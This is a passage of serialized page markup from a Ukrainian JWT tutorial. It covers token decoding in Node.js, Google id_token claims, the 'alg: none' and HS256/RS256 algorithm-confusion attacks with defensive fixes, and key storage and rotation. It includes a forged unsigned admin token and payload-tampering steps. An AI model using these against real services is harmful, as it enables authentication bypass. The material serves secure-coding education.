\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwiZW1haWwiOiJpdmFuQGV4YW1wbGUuY29tIiwicm9sZXMiOlsidXNlciJdLCJpYXQiOjE2OTM1NjQ4MDAsImV4cCI6MTY5MzU2NTcwMH0.4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\" | base64 -d",[8988,9003],{"className":9004},[5294],[8988,9006,9008],{"className":9007},[5294],[5292,9009,9012],{"className":9010},[9011,9000],"text-blue-400","Decoded Header:",[8988,9014,9016],{"className":9015},[5294],"{\"alg\":\"HS256\",\"typ\":\"JWT\"}",[8988,9018],{"className":9019},[5294],[8988,9021,9023],{"className":9022},[5294],[5292,9024,9026],{"className":9025},[9011,9000],"Decoded Payload:",[8988,9028,9030],{"className":9029},[5294],"{\"sub\":\"user123\",\"email\":\"ivan@example.com\",\"roles\":[\"user\"],\"iat\":1693564800,\"exp\":1693565700}",[8988,9032],{"className":9033},[5294],[8988,9035,9037,9042],{"className":9036},[5294],[5292,9038,9041],{"className":9039},[9040,9000],"text-green-400","✓"," Signature: 4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo",[5254,9044,9046],{"id":9045},"ручне-декодування-у-nodejs","Ручне декодування у Node.js",[5262,9048,9050],{"className":5522,"code":9049,"language":5524,"meta":5270,"style":5270},"function decodeJWT(token: string) {\n  const [encodedHeader, encodedPayload, signature] = token.split('.');\n\n  \u002F\u002F Декодування Base64URL у JSON\n  const header = JSON.parse(Buffer.from(encodedHeader, 'base64url').toString());\n  const payload = JSON.parse(Buffer.from(encodedPayload, 'base64url').toString());\n\n  return { header, payload, signature };\n}\n\nconst token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIn0...';\nconst decoded = decodeJWT(token);\n\nconsole.log('Header:', decoded.header);\n\u002F\u002F { alg: 'HS256', typ: 'JWT' }\n\nconsole.log('Payload:', decoded.payload);\n\u002F\u002F { sub: 'user123', email: 'ivan@example.com', ... }\n\nconsole.log('Signature (Base64URL):', decoded.signature);\n",[5110,9051,9052,9071,9104,9108,9113,9154,9190,9194,9213,9217,9221,9234,9252,9256,9281,9286,9290,9313,9318,9322],{"__ignoreMap":5270},[5292,9053,9054,9057,9060,9062,9064,9066,9069],{"class":5294,"line":5295},[5292,9055,9056],{"class":5531},"function",[5292,9058,9059],{"class":5570}," decodeJWT",[5292,9061,5574],{"class":5388},[5292,9063,6269],{"class":5542},[5292,9065,5398],{"class":5388},[5292,9067,7017],{"class":9068},"sN1BT",[5292,9070,6343],{"class":5388},[5292,9072,9073,9075,9077,9080,9082,9084,9086,9088,9091,9093,9095,9098,9100,9102],{"class":5294,"line":5301},[5292,9074,6258],{"class":5531},[5292,9076,5751],{"class":5388},[5292,9078,9079],{"class":5535},"encodedHeader",[5292,9081,5221],{"class":5388},[5292,9083,5916],{"class":5535},[5292,9085,5221],{"class":5388},[5292,9087,5944],{"class":5535},[5292,9089,9090],{"class":5388},"] = ",[5292,9092,6269],{"class":5542},[5292,9094,5580],{"class":5388},[5292,9096,9097],{"class":5570},"split",[5292,9099,5574],{"class":5388},[5292,9101,5911],{"class":5401},[5292,9103,5928],{"class":5388},[5292,9105,9106],{"class":5294,"line":5307},[5292,9107,6091],{"emptyLinePlaceholder":6090},[5292,9109,9110],{"class":5294,"line":5313},[5292,9111,9112],{"class":5596},"  \u002F\u002F Декодування Base64URL у JSON\n",[5292,9114,9115,9117,9119,9121,9123,9125,9128,9130,9133,9135,9137,9139,9141,9143,9146,9148,9151],{"class":5294,"line":5319},[5292,9116,6258],{"class":5531},[5292,9118,5536],{"class":5535},[5292,9120,5567],{"class":5388},[5292,9122,5577],{"class":5535},[5292,9124,5580],{"class":5388},[5292,9126,9127],{"class":5570},"parse",[5292,9129,5574],{"class":5388},[5292,9131,9132],{"class":5542},"Buffer",[5292,9134,5580],{"class":5388},[5292,9136,6079],{"class":5570},[5292,9138,5574],{"class":5388},[5292,9140,9079],{"class":5542},[5292,9142,5221],{"class":5388},[5292,9144,9145],{"class":5401},"'base64url'",[5292,9147,5207],{"class":5388},[5292,9149,9150],{"class":5570},"toString",[5292,9152,9153],{"class":5388},"());\n",[5292,9155,9156,9158,9160,9162,9164,9166,9168,9170,9172,9174,9176,9178,9180,9182,9184,9186,9188],{"class":5294,"line":5325},[5292,9157,6258],{"class":5531},[5292,9159,5720],{"class":5535},[5292,9161,5567],{"class":5388},[5292,9163,5577],{"class":5535},[5292,9165,5580],{"class":5388},[5292,9167,9127],{"class":5570},[5292,9169,5574],{"class":5388},[5292,9171,9132],{"class":5542},[5292,9173,5580],{"class":5388},[5292,9175,6079],{"class":5570},[5292,9177,5574],{"class":5388},[5292,9179,5916],{"class":5542},[5292,9181,5221],{"class":5388},[5292,9183,9145],{"class":5401},[5292,9185,5207],{"class":5388},[5292,9187,9150],{"class":5570},[5292,9189,9153],{"class":5388},[5292,9191,9192],{"class":5294,"line":5331},[5292,9193,6091],{"emptyLinePlaceholder":6090},[5292,9195,9196,9199,9201,9203,9205,9207,9209,9211],{"class":5294,"line":5337},[5292,9197,9198],{"class":6061},"  return",[5292,9200,6065],{"class":5388},[5292,9202,5588],{"class":5542},[5292,9204,5221],{"class":5388},[5292,9206,5851],{"class":5542},[5292,9208,5221],{"class":5388},[5292,9210,5944],{"class":5542},[5292,9212,5557],{"class":5388},[5292,9214,9215],{"class":5294,"line":5343},[5292,9216,5420],{"class":5388},[5292,9218,9219],{"class":5294,"line":5348},[5292,9220,6091],{"emptyLinePlaceholder":6090},[5292,9222,9223,9225,9227,9229,9232],{"class":5294,"line":5354},[5292,9224,5532],{"class":5531},[5292,9226,6131],{"class":5535},[5292,9228,5567],{"class":5388},[5292,9230,9231],{"class":5401},"'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIn0...'",[5292,9233,6085],{"class":5388},[5292,9235,9236,9238,9241,9243,9246,9248,9250],{"class":5294,"line":5360},[5292,9237,5532],{"class":5531},[5292,9239,9240],{"class":5535}," decoded",[5292,9242,5567],{"class":5388},[5292,9244,9245],{"class":5570},"decodeJWT",[5292,9247,5574],{"class":5388},[5292,9249,6269],{"class":5542},[5292,9251,5928],{"class":5388},[5292,9253,9254],{"class":5294,"line":5366},[5292,9255,6091],{"emptyLinePlaceholder":6090},[5292,9257,9258,9261,9263,9265,9267,9270,9272,9275,9277,9279],{"class":5294,"line":6213},[5292,9259,9260],{"class":5542},"console",[5292,9262,5580],{"class":5388},[5292,9264,6311],{"class":5570},[5292,9266,5574],{"class":5388},[5292,9268,9269],{"class":5401},"'Header:'",[5292,9271,5221],{"class":5388},[5292,9273,9274],{"class":5542},"decoded",[5292,9276,5580],{"class":5388},[5292,9278,5588],{"class":5542},[5292,9280,5928],{"class":5388},[5292,9282,9283],{"class":5294,"line":6224},[5292,9284,9285],{"class":5596},"\u002F\u002F { alg: 'HS256', typ: 'JWT' }\n",[5292,9287,9288],{"class":5294,"line":6230},[5292,9289,6091],{"emptyLinePlaceholder":6090},[5292,9291,9292,9294,9296,9298,9300,9303,9305,9307,9309,9311],{"class":5294,"line":6235},[5292,9293,9260],{"class":5542},[5292,9295,5580],{"class":5388},[5292,9297,6311],{"class":5570},[5292,9299,5574],{"class":5388},[5292,9301,9302],{"class":5401},"'Payload:'",[5292,9304,5221],{"class":5388},[5292,9306,9274],{"class":5542},[5292,9308,5580],{"class":5388},[5292,9310,5851],{"class":5542},[5292,9312,5928],{"class":5388},[5292,9314,9315],{"class":5294,"line":6240},[5292,9316,9317],{"class":5596},"\u002F\u002F { sub: 'user123', email: 'ivan@example.com', ... }\n",[5292,9319,9320],{"class":5294,"line":6246},[5292,9321,6091],{"emptyLinePlaceholder":6090},[5292,9323,9324,9326,9328,9330,9332,9335,9337,9339,9341,9343],{"class":5294,"line":6255},[5292,9325,9260],{"class":5542},[5292,9327,5580],{"class":5388},[5292,9329,6311],{"class":5570},[5292,9331,5574],{"class":5388},[5292,9333,9334],{"class":5401},"'Signature (Base64URL):'",[5292,9336,5221],{"class":5388},[5292,9338,9274],{"class":5542},[5292,9340,5580],{"class":5388},[5292,9342,5944],{"class":5542},[5292,9344,5928],{"class":5388},[5254,9346,9348],{"id":9347},"аналіз-реального-токена-від-google-oauth","Аналіз реального токена від Google OAuth",[5089,9350,9351,9352,9355],{},"Розглянемо структуру ",[5110,9353,9354],{},"id_token",", виданого Google при OAuth 2.0 автентифікації:",[5262,9357,9359],{"className":5379,"code":9358,"language":5381,"meta":5270,"style":5270},"{\n  \"iss\": \"https:\u002F\u002Faccounts.google.com\",\n  \"azp\": \"1234567890-abcdefg.apps.googleusercontent.com\",\n  \"aud\": \"1234567890-abcdefg.apps.googleusercontent.com\",\n  \"sub\": \"1234567890\",\n  \"email\": \"ivan@gmail.com\",\n  \"email_verified\": true,\n  \"at_hash\": \"HK6E_P6Dh8Y93mRNtsDB1Q\",\n  \"name\": \"Іван Петренко\",\n  \"picture\": \"https:\u002F\u002Flh3.googleusercontent.com\u002Fa\u002Fdefault-user\",\n  \"given_name\": \"Іван\",\n  \"family_name\": \"Петренко\",\n  \"locale\": \"uk\",\n  \"iat\": 1693564800,\n  \"exp\": 1693568400\n}\n",[5110,9360,9361,9365,9377,9389,9400,9411,9422,9434,9446,9458,9470,9482,9494,9506,9516,9525],{"__ignoreMap":5270},[5292,9362,9363],{"class":5294,"line":5295},[5292,9364,5389],{"class":5388},[5292,9366,9367,9370,9372,9375],{"class":5294,"line":5301},[5292,9368,9369],{"class":5394},"  \"iss\"",[5292,9371,5398],{"class":5388},[5292,9373,9374],{"class":5401},"\"https:\u002F\u002Faccounts.google.com\"",[5292,9376,5405],{"class":5388},[5292,9378,9379,9382,9384,9387],{"class":5294,"line":5307},[5292,9380,9381],{"class":5394},"  \"azp\"",[5292,9383,5398],{"class":5388},[5292,9385,9386],{"class":5401},"\"1234567890-abcdefg.apps.googleusercontent.com\"",[5292,9388,5405],{"class":5388},[5292,9390,9391,9394,9396,9398],{"class":5294,"line":5313},[5292,9392,9393],{"class":5394},"  \"aud\"",[5292,9395,5398],{"class":5388},[5292,9397,9386],{"class":5401},[5292,9399,5405],{"class":5388},[5292,9401,9402,9404,9406,9409],{"class":5294,"line":5319},[5292,9403,5645],{"class":5394},[5292,9405,5398],{"class":5388},[5292,9407,9408],{"class":5401},"\"1234567890\"",[5292,9410,5405],{"class":5388},[5292,9412,9413,9415,9417,9420],{"class":5294,"line":5325},[5292,9414,5657],{"class":5394},[5292,9416,5398],{"class":5388},[5292,9418,9419],{"class":5401},"\"ivan@gmail.com\"",[5292,9421,5405],{"class":5388},[5292,9423,9424,9427,9429,9432],{"class":5294,"line":5331},[5292,9425,9426],{"class":5394},"  \"email_verified\"",[5292,9428,5398],{"class":5388},[5292,9430,9431],{"class":5531},"true",[5292,9433,5405],{"class":5388},[5292,9435,9436,9439,9441,9444],{"class":5294,"line":5337},[5292,9437,9438],{"class":5394},"  \"at_hash\"",[5292,9440,5398],{"class":5388},[5292,9442,9443],{"class":5401},"\"HK6E_P6Dh8Y93mRNtsDB1Q\"",[5292,9445,5405],{"class":5388},[5292,9447,9448,9451,9453,9456],{"class":5294,"line":5343},[5292,9449,9450],{"class":5394},"  \"name\"",[5292,9452,5398],{"class":5388},[5292,9454,9455],{"class":5401},"\"Іван Петренко\"",[5292,9457,5405],{"class":5388},[5292,9459,9460,9463,9465,9468],{"class":5294,"line":5348},[5292,9461,9462],{"class":5394},"  \"picture\"",[5292,9464,5398],{"class":5388},[5292,9466,9467],{"class":5401},"\"https:\u002F\u002Flh3.googleusercontent.com\u002Fa\u002Fdefault-user\"",[5292,9469,5405],{"class":5388},[5292,9471,9472,9475,9477,9480],{"class":5294,"line":5354},[5292,9473,9474],{"class":5394},"  \"given_name\"",[5292,9476,5398],{"class":5388},[5292,9478,9479],{"class":5401},"\"Іван\"",[5292,9481,5405],{"class":5388},[5292,9483,9484,9487,9489,9492],{"class":5294,"line":5360},[5292,9485,9486],{"class":5394},"  \"family_name\"",[5292,9488,5398],{"class":5388},[5292,9490,9491],{"class":5401},"\"Петренко\"",[5292,9493,5405],{"class":5388},[5292,9495,9496,9499,9501,9504],{"class":5294,"line":5366},[5292,9497,9498],{"class":5394},"  \"locale\"",[5292,9500,5398],{"class":5388},[5292,9502,9503],{"class":5401},"\"uk\"",[5292,9505,5405],{"class":5388},[5292,9507,9508,9510,9512,9514],{"class":5294,"line":6213},[5292,9509,5683],{"class":5394},[5292,9511,5398],{"class":5388},[5292,9513,5689],{"class":5688},[5292,9515,5405],{"class":5388},[5292,9517,9518,9520,9522],{"class":5294,"line":6224},[5292,9519,5696],{"class":5394},[5292,9521,5398],{"class":5388},[5292,9523,9524],{"class":5688},"1693568400\n",[5292,9526,9527],{"class":5294,"line":6230},[5292,9528,5420],{"class":5388},[5089,9530,9531],{},[5099,9532,9533],{},"Пояснення Google-специфічних claims:",[5093,9535,9536,9545,9553,9567,9575],{},[5096,9537,9538,9544],{},[5099,9539,9540,9543],{},[5110,9541,9542],{},"azp"," (Authorized Party):"," client ID застосунку, що запросив токен.",[5096,9546,9547,9552],{},[5099,9548,9549,5519],{},[5110,9550,9551],{},"email_verified"," чи підтвердив користувач свою електронну пошту у Google.",[5096,9554,9555,9561,9562,5609,9564,5580],{},[5099,9556,9557,9560],{},[5110,9558,9559],{},"at_hash"," (Access Token Hash):"," хеш access токена для перевірки зв'язку між ",[5110,9563,9354],{},[5110,9565,9566],{},"access_token",[5096,9568,9569,9574],{},[5099,9570,9571,5519],{},[5110,9572,9573],{},"picture"," URL аватара користувача з Google профілю.",[5096,9576,9577,9582],{},[5099,9578,9579,5519],{},[5110,9580,9581],{},"locale"," мовні налаштування користувача.",[5599,9584,9585,9586,9588,9589,9592,9593,9596],{},"Google використовує ",[5099,9587,5467],{}," (асиметричний підпис) для всіх токенів. Публічні ключі доступні через ",[5099,9590,9591],{},"JWKS (JSON Web Key Set)"," endpoint: ",[5110,9594,9595],{},"https:\u002F\u002Fwww.googleapis.com\u002Foauth2\u002Fv3\u002Fcerts",". Ваш застосунок завантажує ці ключі та верифікує підпис токенів без знання приватного ключа Google.",[5169,9598],{},[5084,9600,9602],{"id":9601},"безпека-jwt-типові-вразливості-та-захист","Безпека JWT: типові вразливості та захист",[5089,9604,9605],{},"Неправильна реалізація JWT призводить до серйозних вразливостей безпеки. Розглянемо найпоширеніші атаки та методи захисту.",[5254,9607,9609],{"id":9608},"атака-none-алгоритм","Атака \"none\" алгоритм",[5089,9611,9612,9613,9616,9617,9620,9621,9624],{},"Деякі бібліотеки JWT підтримують алгоритм ",[5110,9614,9615],{},"\"alg\": \"none\"",", що означає ",[5099,9618,9619],{},"відсутність підпису",". Зловмисник може змінити header на ",[5110,9622,9623],{},"{\"alg\": \"none\", \"typ\": \"JWT\"}",", видалити signature та надіслати такий токен на сервер:",[5262,9626,9629],{"className":9627,"code":9628,"language":5267},[5265],"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjpbImFkbWluIl19.\n",[5110,9630,9628],{"__ignoreMap":5270},[5089,9632,9633],{},"Якщо сервер не перевіряє список допустимих алгоритмів, він прийме цей токен як дійсний!",[5089,9635,9636],{},[5099,9637,9638],{},"Захист:",[5262,9640,9642],{"className":5522,"code":9641,"language":5524,"meta":5270,"style":5270},"\u002F\u002F ❌ НЕБЕЗПЕЧНО — дозволяє будь-який алгоритм\nconst payload = verify(token, SECRET_KEY);\n\n\u002F\u002F ✅ БЕЗПЕЧНО — явно вказуємо допустимі алгоритми\nconst payload = verify(token, SECRET_KEY, {\n  algorithms: ['HS256'], \u002F\u002F Жорсткий whitelist\n});\n",[5110,9643,9644,9649,9669,9673,9678,9698,9712],{"__ignoreMap":5270},[5292,9645,9646],{"class":5294,"line":5295},[5292,9647,9648],{"class":5596},"\u002F\u002F ❌ НЕБЕЗПЕЧНО — дозволяє будь-який алгоритм\n",[5292,9650,9651,9653,9655,9657,9659,9661,9663,9665,9667],{"class":5294,"line":5301},[5292,9652,5532],{"class":5531},[5292,9654,5720],{"class":5535},[5292,9656,5567],{"class":5388},[5292,9658,6073],{"class":5570},[5292,9660,5574],{"class":5388},[5292,9662,6269],{"class":5542},[5292,9664,5221],{"class":5388},[5292,9666,6274],{"class":5535},[5292,9668,5928],{"class":5388},[5292,9670,9671],{"class":5294,"line":5307},[5292,9672,6091],{"emptyLinePlaceholder":6090},[5292,9674,9675],{"class":5294,"line":5313},[5292,9676,9677],{"class":5596},"\u002F\u002F ✅ БЕЗПЕЧНО — явно вказуємо допустимі алгоритми\n",[5292,9679,9680,9682,9684,9686,9688,9690,9692,9694,9696],{"class":5294,"line":5319},[5292,9681,5532],{"class":5531},[5292,9683,5720],{"class":5535},[5292,9685,5567],{"class":5388},[5292,9687,6073],{"class":5570},[5292,9689,5574],{"class":5388},[5292,9691,6269],{"class":5542},[5292,9693,5221],{"class":5388},[5292,9695,6274],{"class":5535},[5292,9697,6277],{"class":5388},[5292,9699,9700,9703,9705,9707,9709],{"class":5294,"line":5325},[5292,9701,9702],{"class":5542},"  algorithms:",[5292,9704,5751],{"class":5388},[5292,9706,6288],{"class":5401},[5292,9708,6291],{"class":5388},[5292,9710,9711],{"class":5596},"\u002F\u002F Жорсткий whitelist\n",[5292,9713,9714],{"class":5294,"line":5331},[5292,9715,8600],{"class":5388},[5089,9717,7453,9718,9720,9721,9724,9725,9727],{},[5110,9719,7456],{}," за замовчуванням ",[5099,9722,9723],{},"відхиляє"," алгоритм ",[5110,9726,5475],{},", але явна перевірка є best practice.",[5254,9729,9731],{"id":9730},"атака-підміни-алгоритму-hs256-rs256","Атака підміни алгоритму (HS256 → RS256)",[5089,9733,9734],{},"У системах, що використовують RS256 (асиметричний підпис), публічний ключ зазвичай доступний для верифікації. Зловмисник може:",[5958,9736,9737,9740,9747,9754],{},[5096,9738,9739],{},"Завантажити публічний ключ сервера.",[5096,9741,9742,9743,9746],{},"Створити токен з ",[5110,9744,9745],{},"\"alg\": \"HS256\""," (симетричний підпис).",[5096,9748,9749,9750,9753],{},"Підписати токен ",[5099,9751,9752],{},"публічним ключем"," як секретом HMAC.",[5096,9755,9756],{},"Надіслати токен на сервер.",[5089,9758,9759],{},"Якщо сервер не перевіряє алгоритм, він спробує верифікувати токен як HS256, використовуючи публічний ключ як секрет — і підпис співпаде!",[5089,9761,9762],{},[5099,9763,9638],{},[5262,9765,9767],{"className":5522,"code":9766,"language":5524,"meta":5270,"style":5270},"\u002F\u002F ❌ НЕБЕЗПЕЧНО — автоматично визначає алгоритм з header\nconst payload = verify(token, publicKey);\n\n\u002F\u002F ✅ БЕЗПЕЧНО — явно вказуємо очікуваний алгоритм\nconst payload = verify(token, publicKey, {\n  algorithms: ['RS256'], \u002F\u002F Лише асиметричний підпис\n});\n",[5110,9768,9769,9774,9794,9798,9803,9823,9836],{"__ignoreMap":5270},[5292,9770,9771],{"class":5294,"line":5295},[5292,9772,9773],{"class":5596},"\u002F\u002F ❌ НЕБЕЗПЕЧНО — автоматично визначає алгоритм з header\n",[5292,9775,9776,9778,9780,9782,9784,9786,9788,9790,9792],{"class":5294,"line":5301},[5292,9777,5532],{"class":5531},[5292,9779,5720],{"class":5535},[5292,9781,5567],{"class":5388},[5292,9783,6073],{"class":5570},[5292,9785,5574],{"class":5388},[5292,9787,6269],{"class":5542},[5292,9789,5221],{"class":5388},[5292,9791,6782],{"class":5542},[5292,9793,5928],{"class":5388},[5292,9795,9796],{"class":5294,"line":5307},[5292,9797,6091],{"emptyLinePlaceholder":6090},[5292,9799,9800],{"class":5294,"line":5313},[5292,9801,9802],{"class":5596},"\u002F\u002F ✅ БЕЗПЕЧНО — явно вказуємо очікуваний алгоритм\n",[5292,9804,9805,9807,9809,9811,9813,9815,9817,9819,9821],{"class":5294,"line":5319},[5292,9806,5532],{"class":5531},[5292,9808,5720],{"class":5535},[5292,9810,5567],{"class":5388},[5292,9812,6073],{"class":5570},[5292,9814,5574],{"class":5388},[5292,9816,6269],{"class":5542},[5292,9818,5221],{"class":5388},[5292,9820,6782],{"class":5542},[5292,9822,6277],{"class":5388},[5292,9824,9825,9827,9829,9831,9833],{"class":5294,"line":5325},[5292,9826,9702],{"class":5542},[5292,9828,5751],{"class":5388},[5292,9830,6793],{"class":5401},[5292,9832,6291],{"class":5388},[5292,9834,9835],{"class":5596},"\u002F\u002F Лише асиметричний підпис\n",[5292,9837,9838],{"class":5294,"line":5331},[5292,9839,8600],{"class":5388},[9841,9842,9843,9846,9847,9849,9850,5580],"caution",{},[5099,9844,9845],{},"Золоте правило безпеки JWT:"," ніколи не довіряйте полю ",[5110,9848,5455],{}," з header токена. Завжди явно вказуйте список допустимих алгоритмів у параметрах верифікації. Це запобігає атакам підміни алгоритму та використанню ",[5110,9851,5475],{},[5254,9853,9855],{"id":9854},"зберігання-секретних-ключів","Зберігання секретних ключів",[5089,9857,9858,7024,9861,9864],{},[5099,9859,9860],{},"Секретний ключ для HMAC",[5099,9862,9863],{},"приватний ключ для RSA"," — це найцінніші дані вашої системи автентифікації. Їхня компрометація дозволяє зловмиснику підробляти токени довільних користувачів.",[5089,9866,9867],{},[5099,9868,9869],{},"Best practices зберігання:",[5172,9871,9872,9945,10099],{},[5175,9873,9875,9878,9938],{"icon":4616,"title":9874},"🔐 Змінні оточення",[5089,9876,9877],{},"Ніколи не зберігайте ключі у коді або конфігураційних файлах, що коммітяться у Git. Використовуйте змінні оточення:",[5262,9879,9881],{"className":5522,"code":9880,"language":5524,"meta":5270,"style":5270},"const SECRET_KEY = process.env.JWT_SECRET;\n\nif (!SECRET_KEY) {\n  throw new Error('JWT_SECRET environment variable is not set');\n}\n",[5110,9882,9883,9903,9907,9918,9934],{"__ignoreMap":5270},[5292,9884,9885,9887,9889,9891,9893,9895,9897,9899,9901],{"class":5294,"line":5295},[5292,9886,5532],{"class":5531},[5292,9888,6103],{"class":5535},[5292,9890,5567],{"class":5388},[5292,9892,6108],{"class":5542},[5292,9894,5580],{"class":5388},[5292,9896,6113],{"class":5542},[5292,9898,5580],{"class":5388},[5292,9900,6118],{"class":5535},[5292,9902,6085],{"class":5388},[5292,9904,9905],{"class":5294,"line":5301},[5292,9906,6091],{"emptyLinePlaceholder":6090},[5292,9908,9909,9911,9914,9916],{"class":5294,"line":5307},[5292,9910,7413],{"class":6061},[5292,9912,9913],{"class":5388}," (!",[5292,9915,6274],{"class":5535},[5292,9917,6343],{"class":5388},[5292,9919,9920,9922,9924,9927,9929,9932],{"class":5294,"line":5313},[5292,9921,7433],{"class":6061},[5292,9923,7436],{"class":5531},[5292,9925,9926],{"class":5570}," Error",[5292,9928,5574],{"class":5388},[5292,9930,9931],{"class":5401},"'JWT_SECRET environment variable is not set'",[5292,9933,5928],{"class":5388},[5292,9935,9936],{"class":5294,"line":5319},[5292,9937,5420],{"class":5388},[5089,9939,9940,9941,9944],{},"У продакшені змінні оточення завантажуються з ",[5099,9942,9943],{},"secrets management систем"," (AWS Secrets Manager, Azure Key Vault, HashiCorp Vault).",[5175,9946,9949,9952],{"icon":9947,"title":9948},"i-lucide-rotate-cw","🔄 Ротація ключів",[5089,9950,9951],{},"Регулярна зміна ключів (кожні 3–6 місяців) зменшує наслідки можливої компрометації. При ротації старий ключ зберігається для верифікації токенів, що ще не застаріли:",[5262,9953,9955],{"className":5522,"code":9954,"language":5524,"meta":5270,"style":5270},"const CURRENT_KEY = process.env.JWT_SECRET_CURRENT;\nconst PREVIOUS_KEY = process.env.JWT_SECRET_PREVIOUS;\n\n\u002F\u002F Генерація з поточним ключем\nconst token = sign(payload, CURRENT_KEY);\n\n\u002F\u002F Верифікація з fallback на попередній ключ\ntry {\n  return verify(token, CURRENT_KEY);\n} catch (error) {\n  return verify(token, PREVIOUS_KEY); \u002F\u002F Токени зі старим ключем ще дійсні\n}\n",[5110,9956,9957,9979,10001,10005,10010,10031,10035,10040,10046,10063,10075,10095],{"__ignoreMap":5270},[5292,9958,9959,9961,9964,9966,9968,9970,9972,9974,9977],{"class":5294,"line":5295},[5292,9960,5532],{"class":5531},[5292,9962,9963],{"class":5535}," CURRENT_KEY",[5292,9965,5567],{"class":5388},[5292,9967,6108],{"class":5542},[5292,9969,5580],{"class":5388},[5292,9971,6113],{"class":5542},[5292,9973,5580],{"class":5388},[5292,9975,9976],{"class":5535},"JWT_SECRET_CURRENT",[5292,9978,6085],{"class":5388},[5292,9980,9981,9983,9986,9988,9990,9992,9994,9996,9999],{"class":5294,"line":5301},[5292,9982,5532],{"class":5531},[5292,9984,9985],{"class":5535}," PREVIOUS_KEY",[5292,9987,5567],{"class":5388},[5292,9989,6108],{"class":5542},[5292,9991,5580],{"class":5388},[5292,9993,6113],{"class":5542},[5292,9995,5580],{"class":5388},[5292,9997,9998],{"class":5535},"JWT_SECRET_PREVIOUS",[5292,10000,6085],{"class":5388},[5292,10002,10003],{"class":5294,"line":5307},[5292,10004,6091],{"emptyLinePlaceholder":6090},[5292,10006,10007],{"class":5294,"line":5313},[5292,10008,10009],{"class":5596},"\u002F\u002F Генерація з поточним ключем\n",[5292,10011,10012,10014,10016,10018,10020,10022,10024,10026,10029],{"class":5294,"line":5319},[5292,10013,5532],{"class":5531},[5292,10015,6131],{"class":5535},[5292,10017,5567],{"class":5388},[5292,10019,6068],{"class":5570},[5292,10021,5574],{"class":5388},[5292,10023,5851],{"class":5542},[5292,10025,5221],{"class":5388},[5292,10027,10028],{"class":5535},"CURRENT_KEY",[5292,10030,5928],{"class":5388},[5292,10032,10033],{"class":5294,"line":5325},[5292,10034,6091],{"emptyLinePlaceholder":6090},[5292,10036,10037],{"class":5294,"line":5331},[5292,10038,10039],{"class":5596},"\u002F\u002F Верифікація з fallback на попередній ключ\n",[5292,10041,10042,10044],{"class":5294,"line":5337},[5292,10043,6249],{"class":6061},[5292,10045,6252],{"class":5388},[5292,10047,10048,10050,10053,10055,10057,10059,10061],{"class":5294,"line":5343},[5292,10049,9198],{"class":6061},[5292,10051,10052],{"class":5570}," verify",[5292,10054,5574],{"class":5388},[5292,10056,6269],{"class":5542},[5292,10058,5221],{"class":5388},[5292,10060,10028],{"class":5535},[5292,10062,5928],{"class":5388},[5292,10064,10065,10067,10069,10071,10073],{"class":5294,"line":5348},[5292,10066,6332],{"class":5388},[5292,10068,6335],{"class":6061},[5292,10070,6017],{"class":5388},[5292,10072,6340],{"class":5542},[5292,10074,6343],{"class":5388},[5292,10076,10077,10079,10081,10083,10085,10087,10090,10092],{"class":5294,"line":5354},[5292,10078,9198],{"class":6061},[5292,10080,10052],{"class":5570},[5292,10082,5574],{"class":5388},[5292,10084,6269],{"class":5542},[5292,10086,5221],{"class":5388},[5292,10088,10089],{"class":5535},"PREVIOUS_KEY",[5292,10091,7819],{"class":5388},[5292,10093,10094],{"class":5596},"\u002F\u002F Токени зі старим ключем ще дійсні\n",[5292,10096,10097],{"class":5294,"line":5360},[5292,10098,5420],{"class":5388},[5175,10100,10103,10109,10132],{"icon":10101,"title":10102},"i-lucide-ruler","📏 Довжина ключа",[5089,10104,10105,10108],{},[5099,10106,10107],{},"Мінімальна довжина ключа для HS256:"," 256 біт (32 байти). Короткі ключі вразливі до brute-force атак. Генеруйте ключі криптографічно стійким генератором:",[5262,10110,10112],{"className":6490,"code":10111,"language":6492,"meta":5270,"style":5270},"# Генерація 256-бітного ключа у hex форматі\nopenssl rand -hex 32\n",[5110,10113,10114,10119],{"__ignoreMap":5270},[5292,10115,10116],{"class":5294,"line":5295},[5292,10117,10118],{"class":5596},"# Генерація 256-бітного ключа у hex форматі\n",[5292,10120,10121,10123,10126,10129],{"class":5294,"line":5301},[5292,10122,6504],{"class":5570},[5292,10124,10125],{"class":5401}," rand",[5292,10127,10128],{"class":5531}," -hex",[5292,10130,10131],{"class":5688}," 32\n",[5089,10133,10134,10137],{},[5099,10135,10136],{},"RSA ключі:"," мінімум 2048 біт (рекомендовано 4096 біт для high-security систем).",[5169,10139],{},[5084,10141,10143],{"id":10142},"інтерактивні-запитання-для-самоперевірки","Інтерактивні запитання для самоперевірки",[10145,10146,10147,10295,10353,10389],"accordion",{},[10148,10149,10152,10159,10284],"accordion-item",{"icon":10150,"label":10151},"i-lucide-help-circle","❓ Чи можна змінити payload токена без знання секретного ключа?",[5089,10153,10154,10155,10158],{},"Технічно можна декодувати Base64URL, змінити JSON payload та закодувати його назад. Проте після зміни payload ",[5099,10156,10157],{},"підпис перестане співпадати",", оскільки він був обчислений для оригінального вмісту. При верифікації сервер обчислить підпис заново і виявить невідповідність:",[5262,10160,10162],{"className":5522,"code":10161,"language":5524,"meta":5270,"style":5270},"\u002F\u002F Зловмисник змінює payload\nconst fakePayload = { sub: 'admin', roles: ['admin'] };\nconst fakeToken = encodedHeader + '.' + base64UrlEncode(JSON.stringify(fakePayload)) + '.' + originalSignature;\n\n\u002F\u002F Сервер при верифікації\nconst computedSignature = HMACSHA256(encodedHeader + '.' + encodedFakePayload, SECRET_KEY);\n\u002F\u002F computedSignature ≠ originalSignature → токен недійсний\n",[5110,10163,10164,10169,10196,10240,10244,10249,10279],{"__ignoreMap":5270},[5292,10165,10166],{"class":5294,"line":5295},[5292,10167,10168],{"class":5596},"\u002F\u002F Зловмисник змінює payload\n",[5292,10170,10171,10173,10176,10178,10180,10183,10185,10188,10190,10193],{"class":5294,"line":5301},[5292,10172,5532],{"class":5531},[5292,10174,10175],{"class":5535}," 